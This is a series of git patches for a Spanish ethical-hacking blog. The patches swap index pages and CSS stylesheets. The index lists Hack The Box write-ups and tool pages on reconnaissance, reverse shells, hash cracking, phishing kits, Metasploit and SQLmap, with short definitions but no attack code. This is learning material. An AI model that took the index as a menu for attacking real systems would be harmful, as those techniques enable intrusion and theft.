0 insertions(+), 0 deletions(-) rename _config1.yml => _config.yml (100%) diff --git a/_config1.yml b/_config.yml similarity index 100% rename from _config1.yml rename to _config.yml From acd06c36325c5fc856b5f49972ad7accff130074 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:27:07 +0200 Subject: [PATCH 0852/1701] Delete _config11.html --- _config11.html | 61 -------------------------------------------------- 1 file changed, 61 deletions(-) delete mode 100644 _config11.html diff --git a/_config11.html b/_config11.html deleted file mode 100644 index 735cf2a0327..00000000000 --- a/_config11.html +++ /dev/null @@ -1,61 +0,0 @@ - -
-
- -
-
- -
- -
-
- - - - - - - -
-
- -
-
- -
- -
-
- - - - - - - - - - -
- -
-
- -
- -
-
- - - - - - - - - - - From c25a5f7686b4ab7f0d1632fdb5d1bbdb92b1836a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:29:42 +0200 Subject: [PATCH 0853/1701] Delete index.html --- index.html | 75 ------------------------------------------------------ 1 file changed, 75 deletions(-) delete mode 100644 index.html diff --git a/index.html b/index.html deleted file mode 100644 index ea2dd4c4cba..00000000000 --- a/index.html +++ /dev/null @@ -1,75 +0,0 @@ - - - - - - - Particles JS - - - - - - -
-
- -
-
- -
- -
-
- - - - - - - -
-
- -
-
- -
- -
-
- - - - - - - - - - -
- -
-
- -
- -
-
- - - - - - - - - - - - - From d85e68cd331d124c218d16164da8b41ee624ecff Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:30:15 +0200 Subject: [PATCH 0854/1701] Delete index1.md --- index1.md | 128 ------------------------------------------------------ 1 file changed, 128 deletions(-) delete mode 100644 index1.md diff --git a/index1.md b/index1.md deleted file mode 100644 index 4bd9fdab5a3..00000000000 --- a/index1.md +++ /dev/null @@ -1,128 +0,0 @@ - -# Hack The Box - -|**Máquinas** |**Starting Points** | -|:-----------------------------------------------------|:--------------------------------------------------------| -|[HTB-SwagShop](./Web/Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Web/Starting Point/HTB-Oopsie.html) | -|[HTB-Jerry](./Web/Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Web/Starting Point/HTB-Responder.html) | -|[HTB-Lame](./Web/Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Web/Starting Point/HTB-Vaccine.html) | -|[HTB-Cap](./Web/Maquinas-HTB/HTB-Cap.html) | | -|[HTB-Blue](./Web/Maquinas-HTB/HTB-Blue.html) | | - - ---- - - -# Artículos - -[Linux](./Web/Linux/Linux.html) - -[Windows](./Web/Windows/Windows.html) - -[Hack The Box](./Web/Articulos/Artículos-HTB.html) - -[Bootear USB en Linux con Ventoy](./Web/Linux/Programas_para_Linux/Ventoy.html) - -[Instalación de Twitch en Linux mediante Flatpak](./Web/Linux/GnomeTwitch.html) - -[Buffer Overflow](./Web/Articulos/BufferOverflow.html) - ---- - - -# Herramientas y Scripts - -## Reporte y reconocimiento: -Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. - -1.[Nmap](../Web/Herramientas_y_Scripts/Nmap.html) -2.[WichSystem](./Web/Herramientas_y_Scripts/WichSystem.html) -3.[ExtractPorts](./Web/Herramientas_y_Scripts/ExtractPorts.html) -4.[mkt](./Web/Herramientas_y_Scripts/mkt.html) -5.[SetTarget](./Web/Linux/ZSH/Settarget.html) - -## Control remoto de Equipos y Shells Inversas: -Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. - -[SSH](./Web/Articulos/SSH.html) -[Telnet](./Web/Articulos/Telnet.html) -[php-reverse-shell.php](./Web/Herramientas_y_Scripts/php-reverse-shell.html) -[Tratamiento de la TTY](./Web/Articulos/tratamientoTTY.html) -Reverse Shell Generator --> [Link](https://www.revshells.com/) - -## Hash: -Herramientas de reconocimiento y desencriptación de hash. - -1.[John the Ripper](./Web/Herramientas_y_Scripts/john_the_ripper.html) -2.[HashID](./Web/Herramientas_y_Scripts/HashId.html) -3.[Hash Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html) -4.[HashCat](./Web/Herramientas_y_Scripts/HashCat.html) - -## Codificación: -La codificación roceso de conversión de los componentes de un mensaje para que este no sea entendido. Las reglas de transformación entre un sistema y otro van a estar -definidas para poder entender el contenido del mensaje. A diferencia del cifrado, la codificación se basa en alterar la semántica del mensaje, lo que está relacionado -con el significado del mensaje. - -[Base64](./Web/Articulos/base64.html) - -## Cifrados -El cifrado se basa en aplicar un algoritmo que suele utilizar una clave para transformar la estructura y composición de la información que se pretende proteger, de tal -manera que si es interceptada por un tercero no la pueda entender. Cuando nos referimos a cifrar un mensaje, tiene que ver con ocultar la información basándose en la -sintaxis del mensaje, es decir alterando los símbolos que lo componen. - -## Fuzzing: -Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o -aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o -para encontrar potenciales filtraciones de memoria. - -[Wfuzz](./Web/Herramientas_y_Scripts/Wfuzz.html) - -## Phishing: -Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima ganándose su confianza haciéndose -pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza. - -[Setoolkit](./Web/Herramientas_y_Scripts/Setoolkit.html) - -## Exploits: - -Un exploit es una pieza de software, un fragmento de datos o una secuencia de comandos que aprovecha un error o una vulnerabilidad para provocar -un comportamiento no deseado o imprevisto en el software, el hardware o algo electrónico de la computadora. Tal comportamiento frecuentemente -incluye cosas como obtener el control de un sistema informático, permitir la escalada de privilegios o un ataque de denegación de servicio. - -[SearchSploit](./Web/Herramientas_y_Scripts/searchSploit.html) -[Metasploit](./Web/Herramientas_y_Scripts/Metasploit.html) - -## WordPress: -Escaneo de vulnerabilidades en páginas WordPress. - -[WPScan](./Web/Herramientas_y_Scripts/WPScan.html) - -## SQL: - -[SQLmap](./Web/Herramientas_y_Scripts/SQLmap.html) - ---- ---- - - - - - - - - - - - - - - - ---- ---- From 5c6b1252fdc98d8aaded3eb20af9bbb19cd576c7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:30:34 +0200 Subject: [PATCH 0855/1701] Add files via upload --- index.html | 75 +++++++++++++++++++++++++++++++ index1.md | 128 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 203 insertions(+) create mode 100644 index.html create mode 100644 index1.md diff --git a/index.html b/index.html new file mode 100644 index 00000000000..8fa535615ab --- /dev/null +++ b/index.html @@ -0,0 +1,75 @@ + + + + + + + Particles JS + + + + + + +
+
+ +
+
+ +
+ +
+
+ + + + + + + +
+
+ +
+
+ +
+ +
+
+ + + + + + + + + + +
+ +
+
+ +
+ +
+
+ + + + + + + + + + + + + diff --git a/index1.md b/index1.md new file mode 100644 index 00000000000..4bd9fdab5a3 --- /dev/null +++ b/index1.md @@ -0,0 +1,128 @@ + +# Hack The Box + +|**Máquinas** |**Starting Points** | +|:-----------------------------------------------------|:--------------------------------------------------------| +|[HTB-SwagShop](./Web/Maquinas-HTB/HTB-SwagShop.html) |[HTB-Oopsie](./Web/Starting Point/HTB-Oopsie.html) | +|[HTB-Jerry](./Web/Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Web/Starting Point/HTB-Responder.html) | +|[HTB-Lame](./Web/Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Web/Starting Point/HTB-Vaccine.html) | +|[HTB-Cap](./Web/Maquinas-HTB/HTB-Cap.html) | | +|[HTB-Blue](./Web/Maquinas-HTB/HTB-Blue.html) | | + + +--- + + +# Artículos + +[Linux](./Web/Linux/Linux.html) + +[Windows](./Web/Windows/Windows.html) + +[Hack The Box](./Web/Articulos/Artículos-HTB.html) + +[Bootear USB en Linux con Ventoy](./Web/Linux/Programas_para_Linux/Ventoy.html) + +[Instalación de Twitch en Linux mediante Flatpak](./Web/Linux/GnomeTwitch.html) + +[Buffer Overflow](./Web/Articulos/BufferOverflow.html) + +--- + + +# Herramientas y Scripts + +## Reporte y reconocimiento: +Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. + +1.[Nmap](../Web/Herramientas_y_Scripts/Nmap.html) +2.[WichSystem](./Web/Herramientas_y_Scripts/WichSystem.html) +3.[ExtractPorts](./Web/Herramientas_y_Scripts/ExtractPorts.html) +4.[mkt](./Web/Herramientas_y_Scripts/mkt.html) +5.[SetTarget](./Web/Linux/ZSH/Settarget.html) + +## Control remoto de Equipos y Shells Inversas: +Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. + +[SSH](./Web/Articulos/SSH.html) +[Telnet](./Web/Articulos/Telnet.html) +[php-reverse-shell.php](./Web/Herramientas_y_Scripts/php-reverse-shell.html) +[Tratamiento de la TTY](./Web/Articulos/tratamientoTTY.html) +Reverse Shell Generator --> [Link](https://www.revshells.com/) + +## Hash: +Herramientas de reconocimiento y desencriptación de hash. + +1.[John the Ripper](./Web/Herramientas_y_Scripts/john_the_ripper.html) +2.[HashID](./Web/Herramientas_y_Scripts/HashId.html) +3.[Hash Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html) +4.[HashCat](./Web/Herramientas_y_Scripts/HashCat.html) + +## Codificación: +La codificación roceso de conversión de los componentes de un mensaje para que este no sea entendido. Las reglas de transformación entre un sistema y otro van a estar +definidas para poder entender el contenido del mensaje. A diferencia del cifrado, la codificación se basa en alterar la semántica del mensaje, lo que está relacionado +con el significado del mensaje. + +[Base64](./Web/Articulos/base64.html) + +## Cifrados +El cifrado se basa en aplicar un algoritmo que suele utilizar una clave para transformar la estructura y composición de la información que se pretende proteger, de tal +manera que si es interceptada por un tercero no la pueda entender. Cuando nos referimos a cifrar un mensaje, tiene que ver con ocultar la información basándose en la +sintaxis del mensaje, es decir alterando los símbolos que lo componen. + +## Fuzzing: +Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o +aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o +para encontrar potenciales filtraciones de memoria. + +[Wfuzz](./Web/Herramientas_y_Scripts/Wfuzz.html) + +## Phishing: +Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima ganándose su confianza haciéndose +pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza. + +[Setoolkit](./Web/Herramientas_y_Scripts/Setoolkit.html) + +## Exploits: + +Un exploit es una pieza de software, un fragmento de datos o una secuencia de comandos que aprovecha un error o una vulnerabilidad para provocar +un comportamiento no deseado o imprevisto en el software, el hardware o algo electrónico de la computadora. Tal comportamiento frecuentemente +incluye cosas como obtener el control de un sistema informático, permitir la escalada de privilegios o un ataque de denegación de servicio. + +[SearchSploit](./Web/Herramientas_y_Scripts/searchSploit.html) +[Metasploit](./Web/Herramientas_y_Scripts/Metasploit.html) + +## WordPress: +Escaneo de vulnerabilidades en páginas WordPress. + +[WPScan](./Web/Herramientas_y_Scripts/WPScan.html) + +## SQL: + +[SQLmap](./Web/Herramientas_y_Scripts/SQLmap.html) + +--- +--- + + + + + + + + + + + + + + + +--- +--- From dd94088544827bdbb666de5c1072ffac460a034b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:31:07 +0200 Subject: [PATCH 0856/1701] Delete estilos.css --- assets/css/estilos.css | 294 ----------------------------------------- 1 file changed, 294 deletions(-) delete mode 100644 assets/css/estilos.css diff --git a/assets/css/estilos.css b/assets/css/estilos.css deleted file mode 100644 index fdcc49f6110..00000000000 --- a/assets/css/estilos.css +++ /dev/null @@ -1,294 +0,0 @@ -/* ESTILOS GENERALES */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - background-color:#000; - color: #fff; - font-size: 18px; - font-family: 'Lato', sans-serif; - font-weight: 300; -} - -particles-js { - height: 100%; - width: 100%; - position: fixed; - background_repeat: repeat-y; - z-index: -1; -} - -.contenido-descripcion { - width: 60%; - display: flex; - height: 100%; - align-items: center; -} - -.contenido-descripcion .titulo { - text-transform: uppercase; - letter-spacing: 5px; -} - -.contenido-descripcion .titulo span:first-child { - font-size: 50px; - display: block; - font-weight: 300; -} - -.contenido-descripcion .btn-link { - display: inline-block; - padding: 10px 20px; - margin: 100px 0; - text-transform: uppercase; - text-decoration: none; - color: #3dff3e; - border: 1px solid #555555; - animation: parpadeo 2s linear infinite; - transition: .7s ease; -} - -.contenido-descripcion .btn-link:hover { - border: 1px solid #3dff3e; - animation: none; -} - - -@keyframes parpadeo { - 0%, 41%, 45%, 47%, 49.5%, 100% { - opacity: 1; - } - - 42%, 44%, 46%,48%, 50% { - opacity: 0; - } -} - -/* LETRERO LUMINOSO*/ - - -@font-face { - font-family: Clip; - src: url("https://acupoftee.github.io/fonts/Clip.ttf"); -} - -.sign { - position: absolute; - display: flex; - justify-content: center; - align-items: center; - width: 50%; - height: 50%; - background-image: radial-gradient( - ellipse 50% 35% at 50% 50%, - #186b4a, - transparent - ); - transform: translate(-50%, -50%); - letter-spacing: 2; - left: 50%; - top: 50%; - font-family: "Clip"; - text-transform: uppercase; - font-size: 6em; - color: #e6ffe6; - text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, - -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, - 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; - animation: shine 2s forwards, flicker 3s infinite; -} - -@keyframes blink { - 0%, - 22%, - 36%, - 75% { - color: #e6ffe6; - text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, - -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, - 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; - } - 28%, - 33% { - color: #66ffa8; - text-shadow: none; - } - 82%, - 97% { - color: #24ffa0; - text-shadow: none; - } -} - -.flicker { - animation: shine 2s forwards, blink 3s 2s infinite; -} - -.fast-flicker { - animation: shine 2s forwards, blink 10s 1s infinite; -} - -@keyframes shine { - 0% { - color: #186b4a; - text-shadow: none; - } - 100% { - color: #e6ffe6; - text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, - -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, - 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; - } -} - -@keyframes flicker { - from { - opacity: 1; - } - - 4% { - opacity: 0.9; - } - - 6% { - opacity: 0.85; - } - - 8% { - opacity: 0.95; - } - - 10% { - opacity: 0.9; - } - - 11% { - opacity: 0.922; - } - - 12% { - opacity: 0.9; - } - - 14% { - opacity: 0.95; - } - - 16% { - opacity: 0.98; - } - - 17% { - opacity: 0.9; - } - - 19% { - opacity: 0.93; - } - - 20% { - opacity: 0.99; - } - - 24% { - opacity: 1; - } - - 26% { - opacity: 0.94; - } - - 28% { - opacity: 0.98; - } - - 37% { - opacity: 0.93; - } - - 38% { - opacity: 0.5; - } - - 39% { - opacity: 0.96; - } - - 42% { - opacity: 1; - } - - 44% { - opacity: 0.97; - } - - 46% { - opacity: 0.94; - } - - 56% { - opacity: 0.9; - } - - 58% { - opacity: 0.9; - } - - 60% { - opacity: 0.99; - } - - 68% { - opacity: 1; - } - - 70% { - opacity: 0.9; - } - - 72% { - opacity: 0.95; - } - - 93% { - opacity: 0.93; - } - - 95% { - opacity: 0.95; - } - - 97% { - opacity: 0.93; - } - - to { - opacity: 1; - } -} - -/* RESOLUCION PARA LOS DISTINTOS DISPOSITIVOS */ - -.resolucion{ - width: 99%; - text-align: center; - -} -/* Movil */ -@media (max-width: 767px){ - .desktop{display: none;} - .tablet{display: none;} -} -/* Tablet */ -@media (min-width: 767px) and (max-width: 990px) { - .desktop{display: none;} - .movil{display: none;} -} -/* Escritorio */ -@media (min-width: 991px) and { - .tablet{display: none;} - .movil{display: none;} -} \ No newline at end of file From 4bf59e9017e52f8523d155810c358cb06945def8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 22:31:24 +0200 Subject: [PATCH 0857/1701] Add files via upload --- assets/css/Inicio.css | 124 +++++++++++++++++ assets/css/estilos.css | 294 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 418 insertions(+) create mode 100644 assets/css/Inicio.css create mode 100644 assets/css/estilos.css diff --git a/assets/css/Inicio.css b/assets/css/Inicio.css new file mode 100644 index 00000000000..f9b0d752e10 --- /dev/null +++ b/assets/css/Inicio.css @@ -0,0 +1,124 @@ +/* ESTILOS GENERALES */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background-color:#000; + color: #fff; + font-size: 18px; + font-family: 'Lato', sans-serif; + font-weight: 300; +} + +.particles-js { + height: 100vh; + width: 100%; + position: fixed; + z-index: -1; +} + +.contenedor { + width: 90%; + max-width: 1200px; + background-size: cover; + background-image: url('../images/fondonegro.png'); + background-position:center; + margin-left: auto; + margin-right: auto; + margin-top: -820px; + padding: 20px 30px; + position: relative; + z-index: 99; + opacity: .99; +} + +.contenedor.header { + height: calc(100vh - 255px); + border: 3px solid #555555; +} + +.barra-navegacion ul { + display: flex; + justify-content: space-between; + align-items: center; +} + +.barra-navegacion li { + list-style: none; + display: inline-block; +} + +.barra-navegacion .logo { + color: #b5e853; + font-size: 50px; +} + +.barra-navegacion a { + text-decoration: none; + color: #fff; + font-size: 19px; + font-family: 'Lato', sans-serif; + font-weight: 400; + text-transform: uppercase; + border-bottom: 1px solid transparent; + transition: .5s ease; +} + +.barra-navegacion a:hover { + color: #b5e853; + border-bottom: 1px solid currentcolor; +} + +.contenido-descripcion { + width: 40%; + display: flex; + height: 100%; + align-items: center; +} + +.contenido-descripcion .titulo { + text-transform: uppercase; + letter-spacing: 5px; +} + +.contenido-descripcion .titulo span:first-child { + font-size: 50px; + display: block; + font-weight: 300; +} + +.contenido-descripcion .titulo span:last-child { + font-weight: 900; + font-size: 100px; +} + +.contenido-descripcion .btn-link { + display: inline-block; + padding: 10px 20px; + margin: 25px 0; + text-transform: uppercase; + text-decoration: none; + color: #b5e853; + border: 1px solid #555555; + animation: parpadeo 2s linear infinite; + transition: .7s ease; +} + +.contenido-descripcion .btn-link:hover { + border: 1px solid #b5e853; + animation: none; +} + + +@keyframes parpadeo { + 0%, 41%, 45%, 47%, 49.5%, 100% { + opacity: 1; + } + + 42%, 44%, 46%,48%, 50% { + opacity: 0; + } +} \ No newline at end of file diff --git a/assets/css/estilos.css b/assets/css/estilos.css new file mode 100644 index 00000000000..fdcc49f6110 --- /dev/null +++ b/assets/css/estilos.css @@ -0,0 +1,294 @@ +/* ESTILOS GENERALES */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background-color:#000; + color: #fff; + font-size: 18px; + font-family: 'Lato', sans-serif; + font-weight: 300; +} + +particles-js { + height: 100%; + width: 100%; + position: fixed; + background_repeat: repeat-y; + z-index: -1; +} + +.contenido-descripcion { + width: 60%; + display: flex; + height: 100%; + align-items: center; +} + +.contenido-descripcion .titulo { + text-transform: uppercase; + letter-spacing: 5px; +} + +.contenido-descripcion .titulo span:first-child { + font-size: 50px; + display: block; + font-weight: 300; +} + +.contenido-descripcion .btn-link { + display: inline-block; + padding: 10px 20px; + margin: 100px 0; + text-transform: uppercase; + text-decoration: none; + color: #3dff3e; + border: 1px solid #555555; + animation: parpadeo 2s linear infinite; + transition: .7s ease; +} + +.contenido-descripcion .btn-link:hover { + border: 1px solid #3dff3e; + animation: none; +} + + +@keyframes parpadeo { + 0%, 41%, 45%, 47%, 49.5%, 100% { + opacity: 1; + } + + 42%, 44%, 46%,48%, 50% { + opacity: 0; + } +} + +/* LETRERO LUMINOSO*/ + + +@font-face { + font-family: Clip; + src: url("https://acupoftee.github.io/fonts/Clip.ttf"); +} + +.sign { + position: absolute; + display: flex; + justify-content: center; + align-items: center; + width: 50%; + height: 50%; + background-image: radial-gradient( + ellipse 50% 35% at 50% 50%, + #186b4a, + transparent + ); + transform: translate(-50%, -50%); + letter-spacing: 2; + left: 50%; + top: 50%; + font-family: "Clip"; + text-transform: uppercase; + font-size: 6em; + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + animation: shine 2s forwards, flicker 3s infinite; +} + +@keyframes blink { + 0%, + 22%, + 36%, + 75% { + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + } + 28%, + 33% { + color: #66ffa8; + text-shadow: none; + } + 82%, + 97% { + color: #24ffa0; + text-shadow: none; + } +} + +.flicker { + animation: shine 2s forwards, blink 3s 2s infinite; +} + +.fast-flicker { + animation: shine 2s forwards, blink 10s 1s infinite; +} + +@keyframes shine { + 0% { + color: #186b4a; + text-shadow: none; + } + 100% { + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + } +} + +@keyframes flicker { + from { + opacity: 1; + } + + 4% { + opacity: 0.9; + } + + 6% { + opacity: 0.85; + } + + 8% { + opacity: 0.95; + } + + 10% { + opacity: 0.9; + } + + 11% { + opacity: 0.922; + } + + 12% { + opacity: 0.9; + } + + 14% { + opacity: 0.95; + } + + 16% { + opacity: 0.98; + } + + 17% { + opacity: 0.9; + } + + 19% { + opacity: 0.93; + } + + 20% { + opacity: 0.99; + } + + 24% { + opacity: 1; + } + + 26% { + opacity: 0.94; + } + + 28% { + opacity: 0.98; + } + + 37% { + opacity: 0.93; + } + + 38% { + opacity: 0.5; + } + + 39% { + opacity: 0.96; + } + + 42% { + opacity: 1; + } + + 44% { + opacity: 0.97; + } + + 46% { + opacity: 0.94; + } + + 56% { + opacity: 0.9; + } + + 58% { + opacity: 0.9; + } + + 60% { + opacity: 0.99; + } + + 68% { + opacity: 1; + } + + 70% { + opacity: 0.9; + } + + 72% { + opacity: 0.95; + } + + 93% { + opacity: 0.93; + } + + 95% { + opacity: 0.95; + } + + 97% { + opacity: 0.93; + } + + to { + opacity: 1; + } +} + +/* RESOLUCION PARA LOS DISTINTOS DISPOSITIVOS */ + +.resolucion{ + width: 99%; + text-align: center; + +} +/* Movil */ +@media (max-width: 767px){ + .desktop{display: none;} + .tablet{display: none;} +} +/* Tablet */ +@media (min-width: 767px) and (max-width: 990px) { + .desktop{display: none;} + .movil{display: none;} +} +/* Escritorio */ +@media (min-width: 991px) and { + .tablet{display: none;} + .movil{display: none;} +} \ No newline at end of file From f44e8a888e2d48c3c2a9a8eb71ad12c7b501ac97 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 2 Jun 2022 04:39:12 +0200 Subject: [PATCH 0858/1701] Add files via upload --- Inicio.html | 55 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 Inicio.html diff --git a/Inicio.html b/Inicio.html new file mode 100644 index 00000000000..9834fbf388d --- /dev/null +++ b/Inicio.html @@ -0,0 +1,55 @@ + + + + + + + Particles JS + + + + + + + +
+
+ + + + + +
+
+

+ Ethical + Hacking +

+
+

Blog destinado al aprendizaje y publicación de ariculos reacionados con la Ciberseguridad y el Hacking.

+ Conviertete en uno +
+
+
+
+ + + + + + + + + \ No newline at end of file From c6b4786d8e94e11c0f3f8b389813cb1adaa6eef0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 2 Jun 2022 04:41:19 +0200 Subject: [PATCH 0859/1701] Update Inicio.html --- Inicio.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Inicio.html b/Inicio.html index 9834fbf388d..55a829ef5c2 100644 --- a/Inicio.html +++ b/Inicio.html @@ -18,7 +18,7 @@